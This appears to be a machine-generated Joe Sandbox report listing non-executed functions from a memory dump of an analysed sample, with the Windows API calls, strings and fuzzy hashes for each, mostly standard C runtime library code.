Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ede3e5adabca6021757ef07f6c90e9ef1360a8170ff9d9f284d667d389ce9ab
Instruction ID: de948b70e06c063be8b1c1c8b8407c480cd30f91c601a7127a3ae4beebe37c92
Opcode Fuzzy Hash: 5ede3e5adabca6021757ef07f6c90e9ef1360a8170ff9d9f284d667d389ce9ab
Instruction Fuzzy Hash: 4F019233B006559B9B26CFBBFC84A6A37A6ABC53287254121F901DB194EE30D802D750

Non-executed Functions

Function 00AED0ED Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00AED2D1

Strings

1#SNAN, xrefs: 00AED1F9
1#QNAN, xrefs: 00AED200
1#IND, xrefs: 00AED1F2
1#INF, xrefs: 00AED223

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 499e08cea2c7b8e46859ef5c88fc938f23aca6bdce9b82706059f1935eac49bc
Instruction ID: 1c0981c1fbfb436a6424ee4d71334b62ad2fe7a881f771f886fcfd1e625f7691
Opcode Fuzzy Hash: 499e08cea2c7b8e46859ef5c88fc938f23aca6bdce9b82706059f1935eac49bc
Instruction Fuzzy Hash: B4D22872E082688FDB65CF29DD407EAB7B5EB48345F1445EAD80DE7240E778AE858F40

Function 00AEC566 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00AEC884,00000002,00000000,?,?,?,00AEC884,?,00000000), ref: 00AEC5FF
GetLocaleInfoW.KERNEL32(?,20001004,00AEC884,00000002,00000000,?,?,?,00AEC884,?,00000000), ref: 00AEC628
GetACP.KERNEL32(?,?,00AEC884,?,00000000), ref: 00AEC63D

Strings

OCP, xrefs: 00AEC5BA
ACP, xrefs: 00AEC584

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: f973cc4cc2e15c25199ada7456a83ab5cc0c4fd1221efecb56b487ddf4b07055
Instruction ID: 30837915a8b6c793d1dc279170e016ddbd6eee78d66928728cfb6e53b5a91810
Opcode Fuzzy Hash: f973cc4cc2e15c25199ada7456a83ab5cc0c4fd1221efecb56b487ddf4b07055
Instruction Fuzzy Hash: D2218332640181AADB348B56C901BA777A6BB54B74B565424E90AD7210F732EE43D360

Function 00AEC73B Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AE4C01: GetLastError.KERNEL32(?,00000008,00AE91D2), ref: 00AE4C05
Part of subcall function 00AE4C01: SetLastError.KERNEL32(00000000,00AFB440,00000024,00AE0169), ref: 00AE4CA7

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00AEC847
IsValidCodePage.KERNEL32(00000000), ref: 00AEC890
IsValidLocale.KERNEL32(?,00000001), ref: 00AEC89F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00AEC8E7
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00AEC906

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 03f969660a0c48a2b7a9b702e081d75de4aed8f0044e0956dca2c4c034ebf956
Instruction ID: cea81865776fdf02179e699e35c3e28c35d2801f48401554e877140a6361977c
Opcode Fuzzy Hash: 03f969660a0c48a2b7a9b702e081d75de4aed8f0044e0956dca2c4c034ebf956
Instruction Fuzzy Hash: 87519272900245AFEB10EFA6CD41BBE77B8FF18710F144429E914E7191EB709D42CBA0

Function 00AEBDD7 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AE4C01: GetLastError.KERNEL32(?,00000008,00AE91D2), ref: 00AE4C05
Part of subcall function 00AE4C01: SetLastError.KERNEL32(00000000,00AFB440,00000024,00AE0169), ref: 00AE4CA7

GetACP.KERNEL32(?,?,?,?,?,?,00AE1598,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00AEBE98
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00AE1598,?,?,?,00000055,?,-00000050,?,?), ref: 00AEBEC3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00AEC026

Strings

utf8, xrefs: 00AEBF95

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: a8c6959e7965747aef90eb3ad2301a57ca7b79249ea795a45a7ac5a3e49cd691
Instruction ID: 7259d3c093bacbeed2296afa55ceb10d79f45f438953e6880c6f5719cb4b6719
Opcode Fuzzy Hash: a8c6959e7965747aef90eb3ad2301a57ca7b79249ea795a45a7ac5a3e49cd691
Instruction Fuzzy Hash: EF71E571610286AADB24AB77CD8ABB7B3ACEF44710F14442AF605D7181EB75ED41CBB0

Function 00AE39E2 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00AE3A6F

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction ID: 1b739310380707849c02c3b0b4541548d7a392c534f79cbef94930f167da5699
Opcode Fuzzy Hash: 9a92425b85d41a9d34d0b4961e78f920fefde47b9ac17fa4fdf8223bb6267088
Instruction Fuzzy Hash: 1EB14633A042C59FDF158F6AC8957FEBBB5EF95340F24816AE901AB241D235DE05CBA0

Function 00AD7672 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00AD767E
IsDebuggerPresent.KERNEL32 ref: 00AD774A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00AD7763
UnhandledExceptionFilter.KERNEL32(?), ref: 00AD776D

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 93beb2bdff8c1a08c490adcb709b3839af37671c8ee3de62c21f51fe53a67581
Instruction ID: adc1edce81949d2726c84c12af2684e627b0df59540c0b33e706b7c7be24b18a
Opcode Fuzzy Hash: 93beb2bdff8c1a08c490adcb709b3839af37671c8ee3de62c21f51fe53a67581
Instruction Fuzzy Hash: 8431F475D052189BDB21DFA4D989BCDBBB8AF08300F1041AAE40DAB250EB709A85CF45

Function 00AEC1EA Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00AE4C01: GetLastError.KERNEL32(?,00000008,00AE91D2), ref: 00AE4C05
Part of subcall function 00AE4C01: SetLastError.KERNEL32(00000000,00AFB440,00000024,00AE0169), ref: 00AE4CA7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AEC23E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AEC288
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AEC34E

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: a1cc255eefbc2f20603ac4bfaeb3202776ab29bfe0ba8d04382b2bf842ccb256
Instruction ID: 57f0e0c07dff25dc4cdacfec9304e76775c41223948d32a16a4e3b61695926ef
Opcode Fuzzy Hash: a1cc255eefbc2f20603ac4bfaeb3202776ab29bfe0ba8d04382b2bf842ccb256
Instruction Fuzzy Hash: 04619D715402479FEB28DF2ACD96BBAB7A8EF04320F108079E915CB185FB74D992DB50

Function 00ADD7C3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00ADD8BB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00ADD8C5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00ADD8D2

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 47e257195ed08798c731f172b41d0ff54759cee9363cf07608bccf8b83860d8b
Instruction ID: c981b42354827fc4d709aa48376937464e57be16dab87e352eedac4a633cad94
Opcode Fuzzy Hash: 47e257195ed08798c731f172b41d0ff54759cee9363cf07608bccf8b83860d8b
Instruction Fuzzy Hash: 3831B075901228ABCB21DF68D989B9DBBB8BF08310F5041EAE41DA7251EB709F85CF44

Function 00ADFC40 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f60d13b086af9ec0a587f738e4390bc211143032b3e107f6518dc9868b69a40
Instruction ID: 80cefbc86e86fdcf7aa5e26395a80e4d2bbf99c7282217c83c6b38d3f42d4214
Opcode Fuzzy Hash: 3f60d13b086af9ec0a587f738e4390bc211143032b3e107f6518dc9868b69a40
Instruction Fuzzy Hash: 82F15171E012199FDF14CFA9C880AAEF7B1FF88314F15826AE816AB391D7319D45CB90

Function 00B18465 Relevance: 2.9, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

/, xrefs: 00B18518
UT, xrefs: 00B18790

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: e0872cb26255705f7d48561bd0d36eae2ccbb937a8561f5ea2d9795a88105742
Instruction ID: aae3bd38ec5f40be1ce8fb6056c1934394dc268b3424730274b6d3dd7b656820
Opcode Fuzzy Hash: e0872cb26255705f7d48561bd0d36eae2ccbb937a8561f5ea2d9795a88105742
Instruction Fuzzy Hash: 060269B19042688BDF21CF64C8807EEBBF5BF45304F9440EAD949AB246DA349EC4CF95

Function 00B154FD Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

x`C, xrefs: 00B1558C
``C, xrefs: 00B15573

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ``C$x`C
API String ID: 0-4276601940
Opcode ID: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction ID: 16d91c9968c6a6315f4897bcfd446c429e9d75638686947e13ec5eab02b071f9
Opcode Fuzzy Hash: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction Fuzzy Hash: B451A272900515DBEB28CF58C4816E977F2EFD4304F6684FEC84AAF285EB705985CB50

Function 00AE547C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00AE5477,?,?,00000008,?,?,00AF1335,00000000), ref: 00AE56A9

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 4a232a3db0cc90ab090cd66b3d87f03659cb9651b665a26ea8c9d4665c624064
Instruction ID: 7969c9cbbe67f41bcf70b7912b17567397076bd5b266aea17331b9c8478b9420
Opcode Fuzzy Hash: 4a232a3db0cc90ab090cd66b3d87f03659cb9651b665a26ea8c9d4665c624064
Instruction Fuzzy Hash: 3CB15E71A10A48CFD714CF29D486B657BE1FF45368F298658E89ACF2A1C335E991CB40

Function 00AD6FEC Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00AD7002

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 52e2e5be1982016667987110ad1f8d19c28dbefa62b8a118938c7f52647b9649
Instruction ID: 0d76ac2b2b961a33937c73d35b56cda89151325a346c1b7eeee71ef605c4a24c
Opcode Fuzzy Hash: 52e2e5be1982016667987110ad1f8d19c28dbefa62b8a118938c7f52647b9649
Instruction Fuzzy Hash: D9A16FB1905609CFDB18CFE5D9827ADBBB0FB48324F14826AD41AEB790D7789D42CB50

Function 00AE980F Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef3c8ef0da641d0481c67aaffe561cd4a9b583d02e163aaab2746c2031d495c0
Instruction ID: e027d81bfef3a5ee831b7c85416f53d16a80ac26b468ea0d1b90367f75c09386
Opcode Fuzzy Hash: ef3c8ef0da641d0481c67aaffe561cd4a9b583d02e163aaab2746c2031d495c0
Instruction Fuzzy Hash: D831E172900358AFDB20DFBACC89ABBB76DEB84314F144199F90597245EA30AE408B60

Function 00ADC842 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00ADC9D0

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 4c6808ed35b92df0c11043709a2ea40edfeb20d9d94399477e6dc6122d696550
Instruction ID: f508b55b5d13b6a8f3994faf478189425dbaecdaab6d9debf7fa8219f370b2ef
Opcode Fuzzy Hash: 4c6808ed35b92df0c11043709a2ea40edfeb20d9d94399477e6dc6122d696550
Instruction Fuzzy Hash: B0C1CF74A0060B8FCB24CF68C595ABEBBB2AF45320F94461BD4979B3A1C730ED45DB91

Function 00AEC43D Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00AE4C01: GetLastError.KERNEL32(?,00000008,00AE91D2), ref: 00AE4C05
Part of subcall function 00AE4C01: SetLastError.KERNEL32(00000000,00AFB440,00000024,00AE0169), ref: 00AE4CA7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AEC491

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: cfdf43612c0e71b6873c358e1582df72071d6d18bb5e86264475a031dfd14a97
Instruction ID: fa7cf1ef07d7ed75ecffcc27a64a37ea6cc375c74848b6814ddbea7d4fce246f
Opcode Fuzzy Hash: cfdf43612c0e71b6873c358e1582df72071d6d18bb5e86264475a031dfd14a97
Instruction Fuzzy Hash: 8121F572600286ABDB289B66CD56EBB73A8EF44324F10007AFC06D7181EB35ED42DB50

Function 00AEC0C4 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AE4C01: GetLastError.KERNEL32(?,00000008,00AE91D2), ref: 00AE4C05
Part of subcall function 00AE4C01: SetLastError.KERNEL32(00000000,00AFB440,00000024,00AE0169), ref: 00AE4CA7

EnumSystemLocalesW.KERNEL32(00AEC1EA,00000001,00000000,?,-00000050,?,00AEC81B,00000000,?,?,?,00000055,?), ref: 00AEC136

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
